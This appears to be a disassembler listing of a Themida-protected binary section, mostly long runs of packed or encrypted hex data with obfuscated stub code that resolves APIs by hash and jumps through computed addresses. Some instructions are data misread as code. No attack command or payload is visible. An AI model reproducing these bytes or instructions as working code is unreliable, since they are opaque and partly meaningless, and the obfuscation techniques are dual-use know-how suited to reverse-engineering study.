		dd 14FB2AB5h, 63494F17h, 7751F1E8h, 0A816204Fh,	1BE8B0F8h
		dd 0FB53FFBAh, 2C588CCh, 6B9357E5h, 19779BFh, 0BC1C5806h
		dd 8D4A5703h, 5C778430h, 682ACC61h, 0E2A0C289h,	6754824Fh
		dd 0C83463BBh, 0F8D9D79Dh, 0B161h, 4A177800h, 0F9043388h
		dd 0CE96DEDDh, 3FEBD201h, 0E87B61E7h, 3BFE51F1h, 0B90C803h
		dd 13426A30h, 823B9CA9h, 0D0BD90D6h, 0B22451F2h, 0FCDAB709h
		dd 990713BFh, 13D6ADF5h, 518D013h, 4D535988h, 57E5E412h
		dd 835098C0h, 64BC6853h, 0DB492535h, 8014EB33h,	11B1614Dh
		dd 0ECD1024Fh, 96B1B7BDh, 45DFB89h, 10C794DCh, 597E5BADh
		dd 0A9E8664h, 0B59F3891h, 8C9A7h, 8738A400h, 427B5835h
		dd 0FCBF13F0h, 0B108CDAAh, 6855825Fh, 0D5DBDD16h, 8C69BB02h
		dd 45227445h, 0FDDA2C93h, 8490E2D9h, 8510F6FCh,	29245809h
		dd 0F8C512C2h, 0AE0DC9A6h, 0C412A35Ch, 983E4BF7h, 53B3D123h
		dd 509848B6h, 0E501FF4Ah, 597E4B57h, 89B13564h,	967894E8h
		dd 0F462B4CDh, 4BFE044Ch, 775CC192h, 696189A0h,	0E2A77D63h
		dd 1269915Ch, 2C795669h, 0D6511AAh, 86325ADEh, 0D927B17Eh
		dd 54DB671Eh, 903CD4DBh, 0B478E138h, 9A8AF49h, 0FF62D0DAh
		dd 0E64649BFh, 5AA23A13h, 0D7558754h, 0E9315962h, 874CBA1Ch
		dd 79FF7877h, 0DA54D0Bh, 90462375h, 0EAE14D2Bh,	867033B3h
		dd 80978h, 47786400h, 2BB18F5h,	0BCFFD3B0h, 71488D6Ah
		dd 2895421Fh, 951B9DD6h, 4C297B42h, 5E23485h, 0BD9AECD3h
		dd 4450A219h, 85D0B6BCh, 0E9E45809h, 0F7C41282h, 5D76434Bh
		dd 0E7C4AAB0h, 0B0D851F1h, 71DFE918h, 0F0BD85CDh, 66AAD9E2h
		dd 57E50A77h, 573D430Bh, 6B58060Ah, 0B3901443h,	0BA029A25h
		dd 0DE1F0FE3h, 9DF4736Ch, 2C0AE937h, 4D5D8CB7h,	135B0371h
		dd 802C9146h, 0C3F6DB28h, 8A90BF17h, 0FDABAE84h, 0C4CAA25Dh
		dd 5E1DABDEh, 0EA32CAF2h, 0B002B91Dh, 0CB803D3h, 0A6EE9200h
		dd 154493A0h, 75BDE564h, 0C7F8E0ADh, 8994C31Bh,	3F1C6E4Dh
		dd 6C782497h, 40A52FEh,	6A286DA5h, 0A395739Bh, 0C22C6525h
		dd 740CAD8h, 0AF2D0000h, 0F2E1BE10h, 369C79CBh,	7F563385h
		dd 0CC0BE83Ah, 52669FF1h, 0F244795Eh, 0ABFDBC15h, 63B50ACEh
		dd 196B5086h, 997F850Dh, 0AD580986h, 4F174BB2h,	0F1E86349h
		dd 204F7751h, 0AD39A816h, 3FB4C71h, 757BC35Bh, 57EA6070h
		dd 8B18DBC2h, 3911BFD9h, 0B705EBF1h, 0F119580Ah, 0B13A1159h
		dd 7EA332E7h, 9286F140h, 47DFB4C3h, 37E3D8FAh, 0E2AAB0DFh
		dd 0AF5D4E0Bh, 215017D0h, 0A9FBC016h, 5B10ACCh,	9BE38BF9h
		dd 22EE41C4h, 76C38A27h, 292F5E5Bh, 0AD939961h,	3F580A50h
		dd 0A515339h, 793F6758h, 1D030951h, 31580A51h, 0A796DA09h
		dd 0BD5DFD72h, 2FC7F8E0h, 9001F151h, 909E8838h,	67Eh, 80D2EDEFh
		dd 3B8D30A3h, 0F547745Eh, 0AAFCBD18h, 61B30ACDh, 0B7209028h
		dd 0FAD7B406h, 48906DBFh, 8E482577h, 47CFDB2Dh,	9875B41h
		dd 0D746F58h, 8F44A513h, 484E962Eh, 57E98272h, 2EF63E66h
		dd 1C4B7261h, 0A4F6C511h, 0AC0FC7h, 92DA86F4h, 0C38622BBh
		dd 0ADDC474Ch, 0BF12DFA7h, 0A9F64EFAh, 8DE59128h, 0A40D1A5Eh
		dd 375F5E00h, 7B422EFh,	0F15DDB5h, 5E20A429h, 0DBE6153Dh
		dd 814C0FBh, 2897419Ah,	0B3804890h, 0BDAFDC1Eh,	0D9F2C990h
		dd 4A889541h, 0D56DC571h, 0C5714A88h, 9BFA3E6Dh, 91641322h
		dd 71C18B69h, 0E2CC327Ah, 5CDD4h, 833CA000h, 3E7F5431h
		dd 0F8C30FECh, 0AD0CC9A6h, 64597E5Bh, 0D1DFD912h, 8865B706h
		dd 411E7049h, 0F9D62897h, 808CDEDDh, 880CF2F8h,	25205809h
		dd 1D4017BEh, 137EE6EBh, 0FED8E312h, 0D20411BDh, 4DBB97E9h
		dd 598259A1h, 9821B4C0h, 3A3D94ECh, 515786EEh, 0E546B84Bh
		dd 52FE2657h, 6262A0Ch,	77133558h, 0D9B0095Ch, 3BF5F8h
		dd 130C0000h, 0ABB1F9A5h, 57E502E8h, 9CE28EB6h,	580602BAh
		dd 0EF18EFC5h, 6D1448A2h, 46DEE1F7h, 7485C517h,	0D7DD30A7h
		dd 5806DBF1h, 9945DD05h, 0BFA61241h, 3FF8D8FDh,	112h, 8E4A1756h
		dd 0E7957B81h, 81A951F1h, 2F353DE9h, 51F1E849h,	6E9D355Dh
		dd 9C487363h, 0C975488Fh, 0EAEC1ABCh, 0E8351B21h, 214951F1h
		dd 0ED85DD89h, 64A23441h, 7B3E9371h, 33DF77CFh,	0DBF143DBh
		dd 51F1EC08h, 0C54676Fh, 0F423963Fh, 0ECCF07E4h, 0C0FBD7A4h
		dd 0ECCF0714h, 2150E840h, 913DABB7h, 3DA04349h,	0D5AC57E5h
		dd 2DA8EDC3h, 3188E08Ch, 0BAE936BFh, 72585E36h,	865805F9h
		dd 9874C65Eh, 0B504D12Ah, 0E6D7FC09h, 0B24AE23Ah, 0D1E1646Ah
		dd 72F5DFAh, 0D8E5F2BFh, 0D6FBC890h, 59DF37E3h,	5E1CB173h
		dd 20305F87h, 4B299443h, 3891C40Bh, 6F9EAC96h, 0FE000004h
		dd 0B28FE1DEh, 6D4A9C21h, 27045665h, 0DCB90BAEh, 3770C2FBh
		dd 15A82F81h, 0CEEBE6C3h, 86399F7Ch, 3C7F5734h,	5056DEEAh
		dd 5809896Ah, 121C837Eh, 0E8B0F8C5h, 0CE7C1311h, 36BC6324h
		dd 51F22A50h, 6E518764h, 0A3D26AC2h, 9B20B693h,	0F79A7149h
		dd 0D34E3419h, 760EAD29h, 0A5136047h, 1D4A5C3Ah, 64FCE2E4h
		dd 453161Ch, 0F92157E5h, 425074Dh, 0E305806h, 0D60E574Ch
		dd 0C8F0F8D9h, 7000000h, 4BF7C412h, 7824993Eh, 0F1EC5F32h
		dd 0AB10C651h, 615A7C59h, 0F1E0ADB5h, 0F2E41709h, 19B1D4F1h
		dd 0DCE6156Dh, 0AD7AC26Eh, 5D639229h, 0E543B457h, 805B4257h
		dd 93A061A9h, 7A56A840h, 161C640Ch, 5DFB07F2h, 8D2CA582h
		dd 0A9F189E1h, 0FCBD14E1h, 0E915C2CDh, 0FBD65CFBh, 97DF77BAh
		dd 0AD22D4C0h, 0C2F115AFh, 602D5B2h, 359DEACFh,	0EA82DA86h
		dd 90C2540Ch, 69776138h, 372h, 8CDEE1FBh, 479924AFh, 153686Ah
		dd 0B608B124h, 6DBFFED9h, 0AB2C8434h, 0EEE3C012h, 3C9C79CBh
		dd 82543183h, 53DBE739h, 98A674Dh, 19807B58h, 2E8B4A17h
		dd 25E3F4FFh, 75F0BB2h,	0E7D3B9BFh, 0BFE751F1h,	0DEF8D527h
		dd 12D28BDDh, 3E4BF7C4h, 0B3D12398h, 9A46B451h,	0AA508552h
		dd 0C85A49F9h, 24D0680Bh, 0C230161Ch, 1C4451F2h, 494F5584h
		dd 57E5DBFEh, 0AF03A4CCh, 0FBD97415h, 99E18DFBh, 0B1F606CCh
		dd 0DAF83262h, 5B619028h, 0DFC5CB93h, 0F3FC3C6Ch, 6D2F151Bh
		dd 1B43FC3Ch, 0D9105483h, 0D022F8Eh, 9B53C636h,	552F13CEh
		dd 1874CBDFh, 0D5598837h, 87F501ADh, 14C28FD7h,	8407A3E8h
		dd 740C77BCh, 6410AB27h, 0D1D7DD0Ch, 8449C04h, 9966AED6h
		dd 69367E3Dh, 13235269h, 3D1BA036h, 8E46D92Dh, 87A4B29Ch
		dd 0E6000002h, 9A77C9F6h, 55328439h, 0FEC3E7Dh,	0C4A1F3C6h
		dd 1F58AA13h, 0FDC01799h, 0B603CEABh, 6E518764h, 24973F1Ch
		dd 383EC6D2h, 58098B52h, 12046B66h, 0FDA638C4h,	5243F23Fh
		dd 94020EBAh, 0FB9EA4ECh, 8957E60Ah, 95F10F61h,	61177AE8h
		dd 0DD3DC0AAh, 0DDA5ED85h, 4CF8C110h, 3681C5F4h, 45DF9B5h
		dd 0CC794DCh, 852B5AB1h, 0FF3EA708h, 2F1D71D0h,	0C1F8A85Ch
		dd 2CD8E1F4h, 2D9BA5D4h, 80333981h, 0AC209C57h,	0C513F3DFh
		dd 5EF64EFAh, 0D783AB2Fh, 69B15DCBh, 0B1D89663h, 0F8406826h
		dd 0BE10AB2Bh, 0ED620FE6h, 0DA97CC3h, 0CE2596BBh, 64AC5834h
		dd 0D40F785Eh, 35648C26h, 595FAC2Ah, 26D40F73h,	0E9C75F87h
		dd 6FDA668Bh, 0B75A6852h, 0B6000001h, 6A479926h, 25025469h
		dd 0DFBC0EADh, 9471C3F6h, 0EF287A43h, 0CDF0E7C9h, 86339E7Bh
		dd 3E815734h, 0F4C70FECh, 80E96A2h, 58098C22h, 12D43B36h
		dd 3F4BF7C4h, 0DFE52DD1h, 57E5ED7Ch, 91A0A38Ah,	0C2BAE681h
		dd 61BAD82Ah, 0E6EC44B2h, 58062100h, 0C8744B8Dh, 0EA82AA70h
		dd 0C80DDAA2h, 8820993Ch, 0F423963Bh, 0F93A65B0h, 6A0B335Dh
		dd 0AB46D016h, 0B01EF4h, 0B523F0B8h, 0D7065E0Ah, 42E093h
		dd 0BA668E1Dh, 489040AEh, 15C37542h, 0D71F4723h, 2895420Fh
		dd 0D3E8EEF9h, 0E9D2A981h, 4529BA42h, 874F5A89h, 81987E84h
		dd 0C5AC2338h, 54B8E8D9h, 9C34CC69h, 7605C0BEh,	39473173h
		dd 0F6h, 85A6577h, 0C315A82Bh, 7DCFECE6h, 328435A0h, 0E93B8255h
		dd 2FA808B0h, 725F3C8Eh, 0C018F547h, 6D0ADFFh, 0CF5763B5h
		dd 98CE3C9h, 95FCF758h,	0AFF7C412h, 0E7FBE1E7h,	320F51F1h
		dd 146C18A5h, 0D7E34D7Ch, 290F1569h, 0BB51F1E8h, 0F1E7CFB5h
		dd 0F5BBE351h, 25ED35CDh, 96427B58h, 0AF0F63Eh,	1E51F1E8h
		dd 4083C7F6h, 0E57E512h, 4AB894E6h, 0B122E6F1h,	7008600Ch
		dd 0FEADC4h, 0FDAF6F63h, 0BD85CD65h, 5909EFF5h,	0F51D5806h
		dd 0F17982C6h, 9BC35DFDh, 0C7F4E2EFh, 7D3E9875h, 3EDE8BD1h
		dd 1C806CB3h, 0FD03CB7Eh, 8F141E17h, 36834E2Bh,	6B9A328Ah
		dd 0F3457660h, 454BC016h, 8F141E5Fh, 7B409673h,	979F4BE3h
		dd 2AE0BCAh, 0F06911EBh, 0DA72C432h, 8435A0ABh,	0A1E183D8h
		dd 28704B8Bh, 0B745A60h, 60888F14h, 92442131h, 36F7D29h
		dd 0C6000000h, 0CA127DE4h, 9A3C49F5h, 70687521h, 3B96A34Fh
		dd 12C5D27Eh, 0E5F2FFABh, 0B61F2CD8h, 884A5703h, 597A8733h
		dd 6833B864h, 5E3Eh, 68241489h,	1D29h, 56240489h, 0C681E689h
		dd 4, 8704EE83h, 895C2434h, 68512414h, 29B81FFBh, 81240C8Bh
		dd 4C4h, 0F7D9F700h, 80C181D1h,	8159175Bh, 0B7E102E9h
		dd 59C8897Ch, 24148B54h, 4C481h, 56500000h, 631416BEh
		dd 2474312Ch, 428F5E04h, 8728108h, 2C631416h, 5324148Bh
		dd 0C381E389h, 4, 8704C383h, 0FF5C241Ch, 83582434h, 1CE904C4h
		dd 89FFFCD7h
		db 0, 75h
; ---------------------------------------------------------------------------


loc_5832E6:				; CODE XREF: Themida_:005825E4j
		mov	eax, 617A680h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0F1h
		dd 0C8746883h, 481A04A4h, 3634B0D9h, 0D5184827h, 8A699DCEh
		dd 0F07ACA12h, 8B6E8767h, 0FF53A882h, 0E5747305h, 0CF768933h
		dd 16CFD07h, 0E9575547h, 148h, 78h, 7Ch, 80h, 84h, 88h
		dd 8Ch,	90h, 94h, 0D8h,	0DCh, 0E0h, 0E4h, 0E8h,	0ECh, 0F0h
		dd 0F4h, 0F8h, 0FCh, 100h, 104h, 108h, 10Ch, 110h, 114h
		dd 38h dup(0)
; ---------------------------------------------------------------------------
		test	[ebx], dh
		pop	eax
		add	bl, ch
		push	eax
		mov	ds:45858D00h, al
		cmpsd
		pop	ss
		push	es
		mov	[ebp+6140D15h],	ecx
		mov	[ebp+617A885h],	eax
		jmp	loc_58348B
; ---------------------------------------------------------------------------
		mov	esp, 938F1667h
		inc	eax
		xchg	ebp, [esi]


loc_58348B:				; CODE XREF: Themida_:0058347Ej
		mov	byte ptr [ebp+6141A59h], 54h
		mov	esi, 7C5AD53Ch
		push	0E89DE084h
		add	dword ptr [esp], 5C487A5h
		mov	ecx, edi
		sub	[ebp+6140E45h],	esi
		push	dword ptr [ebp+6141AD1h]
		mov	bh, 2Dh
		lea	eax, [ebp+61780DBh]
		xor	[ebp+6142ED1h],	edi
		call	eax
		mov	[ebp+6142A9Dh],	esi
		mov	[ebp+617A889h],	eax
		mov	ebx, [ebp+6140A65h]
		jmp	loc_583516
; ---------------------------------------------------------------------------
		db 0Fh,	0B7h, 0F2h
byte_5834DB	db 56h			; DATA XREF: Themida_:0054993Co
					; Themida_:0054B04Co ...
		dd 0A885B58Bh, 6890617h, 0A8858583h
; ---------------------------------------------------------------------------


loc_5834E8:				; CODE XREF: Themida_:0058352Ej
		pop	ss
		push	es
		add	al, 5Eh
		retn

; =============== S U B	R O U T	I N E =======================================



sub_5834ED	proc near		; DATA XREF: Themida_:0054A988o
		pusha
		lea	esi, [ebp+617A745h]
		jmp	short loc_583505
; ---------------------------------------------------------------------------


loc_5834F6:				; CODE XREF: sub_5834ED+1Bj
		push	esi
		push	0
		push	dword ptr [esi]
		call	dword ptr [ebp+617A889h]
		pop	esi
		add	esi, 4


loc_583505:				; CODE XREF: sub_5834ED+7j
		cmp	dword ptr [esi], 0
		jnz	short loc_5834F6
		popa
		retn
sub_5834ED	endp

; ---------------------------------------------------------------------------
		and	edx, [ebp+61412C1h]
		mov	si, 0ABA0h


loc_583516:				; CODE XREF: Themida_:005834D3j
		lea	eax, [ebp+617A90Eh]
		mov	bl, ah
		mov	[ebp+6141DA9h],	eax
		call	near ptr loc_583530+1
		nop
		and	al, 58h
		cmp	cl, al
		jz	short loc_5834E8


loc_583530:				; CODE XREF: Themida_:00583524p
		btc	ecx, 45h
		jp	short near ptr loc_58358B+3
		pop	esi
		jg	loc_583543
		mov	[ebp+6140FA5h],	ebx


loc_583543:				; CODE XREF: Themida_:00583537j
		add	esi, 5F57h
		mov	[ebp+6140981h],	ebx
		sub	ecx, ecx
		jmp	loc_583566
; ---------------------------------------------------------------------------
		dw 0EE18h
		dd 50CC87BEh, 1CC41E5Fh, 0D4638863h
		db 69h,	3Eh
; ---------------------------------------------------------------------------


loc_583566:				; CODE XREF: Themida_:00583551j
					; Themida_:005835DCj
		push	dword ptr [ecx+esi]
		jle	loc_583572
		mov	bx, si


loc_583572:				; CODE XREF: Themida_:00583569j
		pop	eax
		jle	loc_58357F
		mov	[ebp+6140CF5h],	esi


loc_58357F:				; CODE XREF: Themida_:00583573j
		sub	eax, 18CAFF14h
		add	eax, 4DB0EC19h


loc_58358B:				; CODE XREF: Themida_:00583534j
		jns	loc_583596
		mov	edi, 4A449E00h


loc_583596:				; CODE XREF: Themida_:loc_58358Bj
		sub	eax, 67B11BFFh
		mov	bx, cx
		push	eax
		mov	edx, [ebp+6142F39h]
		pop	dword ptr [esi+ecx]
		mov	dh, 53h
		cmc
		sub	ecx, 2
		mov	[ebp+6141095h],	edx
		dec	ecx
		dec	ecx
		mov	[ebp+61420C1h],	edx
		cmp	ecx, 0FFFFA168h
		jnz	loc_5835D6
		movzx	edx, ax
		jmp	loc_5835EC
; ---------------------------------------------------------------------------
		db 8Ah,	0Dh, 0F9h
; ---------------------------------------------------------------------------
		jge	short loc_583627


loc_5835D6:				; CODE XREF: Themida_:005835C3j
		or	[ebp+6142B4Dh],	edi
		jmp	loc_583566
; ---------------------------------------------------------------------------
		db 7Eh,	20h, 0Ch
		dd 17E6FEA6h, 7E265A71h
; ---------------------------------------------------------------------------


loc_5835EC:				; CODE XREF: Themida_:005835CCj
		jmp	loc_583666
; ---------------------------------------------------------------------------
		pusha
		mov	ax, ds
		test	al, 4
		jz	loc_583632
		push	1
		push	dword ptr [ebp+6141145h]
		lea	eax, [ebp+61780DBh]
		call	eax
		mov	[ebp+6140CBDh],	eax
		mov	edi, esi
		shr	edi, 0Ch
		push	20040000h
		push	0
		push	2
		push	edi
		push	1000Dh


loc_583627:				; CODE XREF: Themida_:005835D4j
		call	dword ptr [ebp+6140CBDh]
		jmp	loc_583664
; ---------------------------------------------------------------------------


loc_583632:				; CODE XREF: Themida_:005835F7j
		mov	byte ptr [ebp+6141A59h], 56h


loc_583639:				; CODE XREF: Themida_:00583694j
		push	0A9C530DFh
		push	dword ptr [ebp+6141AD1h]
		lea	eax, [ebp+61780DBh]
		call	eax
		mov	[ebp+6142C1Dh],	eax
		lea	eax, [ebp+6140101h]
		push	eax
		push	20h
		push	5
		push	esi
		call	dword ptr [ebp+6142C1Dh]


loc_583664:				; CODE XREF: Themida_:0058362Dj
		popa
		retn
; ---------------------------------------------------------------------------


loc_583666:				; CODE XREF: Themida_:loc_5835ECj
		shl	eax, 6
		jmp	short loc_5836A4
; ---------------------------------------------------------------------------
		align 4
		dd 0CC00C200h, 0E400C202h, 0C202h, 46000000h, 5E4682CEh
		dd 0E5779BC2h, 31238ACAh, 4E4E81CEh, 0FD4F8B89h, 8C77A1A7h
; ---------------------------------------------------------------------------
		jmp	short loc_583639
; ---------------------------------------------------------------------------
		db 23h
byte_583697	db 2Ah			; DATA XREF: Themida_:00549940o
		dd 5753A0D3h, 6B4BBBC9h, 8C478EC2h
; ---------------------------------------------------------------------------


loc_5836A4:				; CODE XREF: Themida_:00583669j
		mov	dword ptr [ebp-13B0EEDDh], 0CFA72323h
		jl	short loc_583702
		clc
		pop	di
		in	al, dx
		mov	ds:0A340676Eh, eax
		repne and esi, [edx]
		cmpsd
		test	al, 74h
		fisub	dword ptr [esi]
		hlt
; ---------------------------------------------------------------------------
		dw 49A0h
		dd 781B9058h, 96A8B2FDh, 9737CCF6h, 0C8492F2Ch,	642007F7h
		dd 6A03EFA7h, 5DAAB764h, 0C8A2EB83h, 463BEB83h,	7363EFA7h
		dd 23510B64h, 4D2C9F20h, 6423EFA4h, 0B1070927h,	0D135E1Ah
		db 0A1h, 0EFh
; ---------------------------------------------------------------------------


loc_583702:				; CODE XREF: Themida_:005836AEj
		push	esi
		test	[edx+edx*2], esp
		retn	0B35Ch
; ---------------------------------------------------------------------------
		db 0E9h, 23h, 57h
		dd 1A70BFBEh, 0CC9A5767h, 0E1AAEFA7h, 3437F5EEh, 0AE19722Ah
		dd 5FDCE9B1h, 0FBA0B7FCh, 2537F546h, 0C1349BA7h, 0CC9A57F4h
		dd 0E1AAEFA7h, 3437F5EEh, 0AD0A722Ah, 5FDCE9B1h, 0FBAAB7FCh
		dd 2537E40Ah, 24B664F5h, 9225FB8Eh, 42A26A2Eh, 0F2A8E9B3h
		dd 0F172EFCDh, 8C23EFA4h, 1FE0B687h, 2707A32Eh,	9507AB26h
		dd 0C823EFBBh, 93E0BEE6h, 0DCF4487Ch, 0B2EE8DC4h, 967A6A61h
		dd 2C75E9B3h, 20CBBFA7h, 0B123EFA7h, 417B2CFFh,	0E527CBE3h
		dd 2E27CBE3h, 5923EFA7h, 99A2CF7h, 25184103h, 0AA7DF13Eh
		dd 8529963Ah, 0A0F064A1h, 0C8454C0Bh, 3223E84Eh, 424FCA7h
		dd 8694E1DDh, 0B807DB26h, 0AA1321BCh, 8535962Ah, 199610A1h
		dd 6B25FBBDh, 0B7AE1918h, 1F346F7Ch, 6472EFCDh,	4623EFA4h
		dd 7AE0B687h, 9507A32Eh, 0CC07AB26h, 6423EFBAh,	0B3E0BEE6h
		dd 45FFF2EEh, 0AD1DC84h, 0F39664DFh, 2C25FBA1h,	9123EF2Ch
		dd 0A2F310A7h, 67CBBFA7h, 1223EFA7h, 907B2CFFh,	0D27CBE3h
		dd 5C27CBE3h, 6323EFA7h, 17292CF7h, 0E277DFE7h,	0E595D59h
		dd 612385A3h, 1923EC4Fh, 4F78CFA7h, 627F66FCh, 7676EA3h
		dd 9123F7A3h, 0B70ACA7h, 0A51D0E40h, 0CBC387A5h, 93439F19h
		dd 82AFE06Ch, 0AE23EFA7h, 2323EFAFh, 0F1C2DEE3h, 40EF30D7h
		dd 50A28EFDh, 8CCA0F83h, 482385D7h, 8C23EC4Fh, 857ACFA7h
		dd 76F66FEh, 0B5676EA3h, 0C823F8A3h, 0A772AEA7h, 34EA867Eh
		dd 193562A8h, 9DCAEFA7h, 3F23EFA7h, 0E3BA723Ah,	1AD4F9B8h
		dd 59DDC463h, 261F2E17h, 0A2BECECFh, 1CADE020h,	3323EFA7h
		dd 6D8BC6CAh, 0E807EB26h, 105B80C2h, 0FE923F69h, 0E2385CDh
		dd 31CBBCA7h, 3923EFA7h, 5782CFCh, 0C727CBFBh, 3927CBE3h
		dd 0D223EFA7h, 0FA932CF4h, 0DE455638h, 2CA6E037h, 7923EFA7h
		dd 56B33526h, 57CA8483h, 0DE23EFA7h, 0F7A1498Fh, 11A42E1Ah
		dd 0C4FE44E4h, 608A06E0h, 0E60559C6h, 0D9238577h, 4623EC4Fh
		dd 0E07ECFA7h, 0B54F66FAh, 0EC676EA3h, 6423F3A3h, 0F176AAA7h
		dd 0AD5B7A5h, 90F7C7ECh, 2A9A8934h, 92B6C6E4h, 1825FBA4h
		dd 0DF896322h, 1FCD6EA1h, 0B96DDD29h, 1BEFEA5Fh, 9AAEFA7h
		dd 40344537h, 0AA3B2F24h, 86897B22h, 71E3DCA1h,	6423ED4Bh
		dd 0F4DB4554h, 0D39B622h, 8C49ACA1h, 462007F7h,	7B03EFA7h
		dd 0D5AAB764h, 8CA2EB83h, 6439EB83h, 6263EFA7h,	490C8F64h
		dd 0A8F0141Fh, 5BC26BCFh, 0D0A88922h, 4B07DB26h, 303A952Dh
		dd 7EF25A58h, 0B7AEE9B3h, 1F346F7Ch, 8C9A522Eh,	96DCE9B3h
		dd 21FE728Eh, 0CAAE9B3h, 0CE37DE62h, 74226A2Eh,	0BFAAE9B3h
		dd 1F37FD7Eh, 81B26A2Ah, 4649E9B3h, 232007F1h, 0CF03EFA7h
		dd 0BCAAB164h, 20A2EB83h, 323AEB83h, 4F65EFA7h,	10D47E64h
		dd 17680B30h, 0AB25A2Ch, 187CE9B3h, 0DC399E22h,	312385A1h
		dd 3223EC4Fh, 0DA7ECFA7h, 0A84F66FAh, 62676EA3h, 2323F8A3h
		dd 5276AAA7h, 783FACDBh, 0E1E5382Ch, 3437F5FEh,	4C2385F4h
		dd 8C23EC4Fh, 857ECFA7h, 74F66FAh, 0B5676EA3h, 0C823F7A3h
		dd 0A776AAA7h, 4228B18h, 0ADC856CBh, 33459931h,	684B5F43h
		dd 70FCDAD5h, 91216FA8h, 0A943EFA7h, 40276EF9h,	2F58390Dh
		dd 0F170EFCDh, 8C23EFA4h, 1DE0B487h, 2707B32Eh,	9507AB26h
		dd 0C823EFBAh, 9AE0BCE4h, 0FF2EF912h, 0C3770F5Bh, 559D89FDh
		dd 979610EBh, 4925FBBDh, 92CBBEA7h, 0E823EFA7h,	0ED7A2CFEh
		dd 0B327CBEBh, 227CBE3h, 0CD23EFA7h, 79CC2CF6h,	1ED28194h
		dd 14AE6047h, 0CE346F7Ch, 8C76EFCDh, 3223EFA4h,	44E0B287h
		dd 8807832Eh, 4207AB26h, 2323EFB2h, 6CE0BAE2h, 4945BE32h
		dd 3D1D917Eh, 32256AA8h, 9CAAEFA7h, 8A37DF1Ah, 0B9F064C1h
		dd 0B60A8F77h, 9737DFDEh, 0A1A666C6h, 0E25FBB6h, 31CBB9A7h
		dd 3923EFA7h, 57D2CF9h,	0C727CBD3h, 3427CBE3h, 0D723EFA7h
		dd 0B6622CF1h, 0E1E55EBEh, 3437F5FEh, 0A1C451F4h, 574B9E14h
		dd 0AEB79DBDh, 2323EFA2h, 57EF72A9h, 0CCA2B1EDh, 0C28A3783h
		dd 0B796ECE4h, 0E625FB82h, 98393E12h, 142385A1h, 2323EC4Fh
		dd 5279CFA7h, 0EC7766FDh, 40676EA3h, 3223F4A3h,	0DA71ADA7h
		dd 72B24BC1h, 2EC06918h, 0CE96E6C7h, 1825FBA8h,	0DC202A22h
		dd 0E1AE8EA1h, 34346F7Ch, 1D0E7AAEh, 5CDCE9B3h,	46216DA8h
		dd 0F7A9EFA7h, 0BBD66A2Eh, 45A8E9B3h, 6237DFCEh, 287A6A61h
		dd 0E564E9B3h, 0DF3593CFh, 5E59500Bh, 27A28847h, 1AE4C283h
		dd 199610ACh, 0EF25FBBDh, 260CFA32h, 0C2A662A1h, 0E625F827h
		dd 45CBBFA7h, 323EFA7h,	187B2CFFh, 4927CBE3h, 7227CBE3h
		dd 7223EFA7h, 0AE452CF7h, 0E5BEC655h, 0B925FBB4h, 72238577h
		dd 9123EC4Fh, 0B7ACFA7h, 406F66FEh, 16676EA3h, 1923FBA3h
		dd 4F72AEA7h, 0AFA289A9h, 0A6AAD6B4h, 9737EA1Ah, 4DE5B5F6h
		dd 6237F5FEh, 632385E0h, 1923EC4Fh, 4F7ACFA7h, 626F66FEh
		dd 7676EA3h, 9123F4A3h,	0B72AEA7h, 1DCC368Ch, 73ABEED9h
		dd 360A6AA6h, 514BE9B3h, 167B72FFh, 0FCA88FF5h,	9123E64Fh
		dd 47D3A1A7h, 0A234AAEAh, 5378C634h, 8CADEA8h, 9123EFA7h
		dd 97268866h, 89024BD1h, 1D95CF2Fh, 0E7F91C09h,	60A2B7FDh
		dd 0C947283h, 0DCD56F8Eh, 96F25A58h, 4649E9B3h,	232007F1h
		dd 0CF03EFA7h, 0BCAAB164h, 20A2EB83h, 3237EB83h, 4F65EFA7h
		dd 0A29D0164h, 20168846h, 0FB770E26h, 11F86A2Ah, 552AE9B0h
		dd 6237E45Ah, 0B2753F58h, 90796A45h, 9825CA22h,	162385A1h
		dd 2323EC4Fh, 527BCFA7h, 0EC6766FFh, 40676EA3h,	3223F6A3h
		dd 0DA73AFA7h, 990630F8h, 0C745A5AAh, 0CA162D75h, 9123EFA9h
		dd 60021D03h, 37E8328Bh, 0F58A8B40h, 9CE5C0B1h,	8A37F5FEh
		dd 132385E0h, 2323EC4Fh, 527ECFA7h, 0EC4F66FAh,	40676EA3h
		dd 3223F9A3h, 0DA76AAA7h, 0A56D00BFh, 5201FE1Ah, 439287A1h
		dd 95A2A898h, 45F84383h, 0D1DC16C4h, 3437F576h,	0F174EFCDh
		dd 8C23EFA4h, 19E0B087h, 2707932Eh, 9507AB26h, 0C823EFBDh
		dd 50E0B8E0h, 44674D87h, 94AA9736h, 8A37C096h, 4B3672A6h
		dd 0A6AEE9B3h, 97346F7Ch, 0FECD6EC1h, 8CF310D5h, 3223EFA2h
		dd 50CBE3C5h, 56A28961h, 0CD7A6FCEh, 372A3A12h,	0DCA666A1h
		dd 0A225FBACh, 67CBBAA7h, 1223EFA7h, 907E2CFAh,	0D27CBCBh
		dd 5327CBE3h, 6623EFA7h, 0BBE02CF2h, 0C69D3F58h, 4734239Ch
		dd 2623DA2Ah, 30A666A1h, 0E625FBACh, 45CBBCA7h,	323EFA7h
		dd 18782CFCh, 4927CBFBh, 7127CBE3h, 7123EFA7h, 0F22C2CF4h
		dd 7FB63C1h, 52135A12h,	4527CBA1h, 4E802D26h, 4C2C2FADh
		dd 6423EC16h, 287A6A61h, 736CE9B3h, 8FCBBAA7h, 6623EFA7h
		dd 0AA7E2CFAh, 1027CBCBh, 0DC27CBE3h, 2123EFA7h, 0BB0D2CF2h
		dd 0D0CDE1Ah, 45A666A1h, 2E25FB89h, 0F5E2C319h,	0DC3C55F0h
		dd 497ACB0Ah, 2459CB93h, 0B70A86E6h, 1F37FFDAh,	96F25A58h
		dd 4649E9B3h, 232007F0h, 0CE03EFA7h, 0B4AAB064h, 20A2EB83h
		dd 3239EB83h, 4E64EFA7h, 0E0C264h, 2523622h, 23256AA8h
		dd 1D2CEFA7h, 0C823EFA7h, 0D1AEE6F6h, 6825FB89h, 99F86A2Ah
		dd 8C49E9B0h, 462007F6h, 7A03EFA7h, 0DDAAB664h,	8CA2EB83h
		dd 6439EB83h, 6362EFA7h, 0A0D1E364h, 7A259914h,	4CCA252Ch
		dd 0AF23EFA7h, 0C743B840h, 5B0B8F8Eh, 859EDEECh, 0CD25FBAEh
		dd 4E238577h, 8C23EC4Fh, 857CCFA7h, 75F66F8h, 0B5676EA3h
		dd 0C823FBA3h, 0A774A8A7h, 5BB666E7h, 9A25FB83h, 11AACB67h
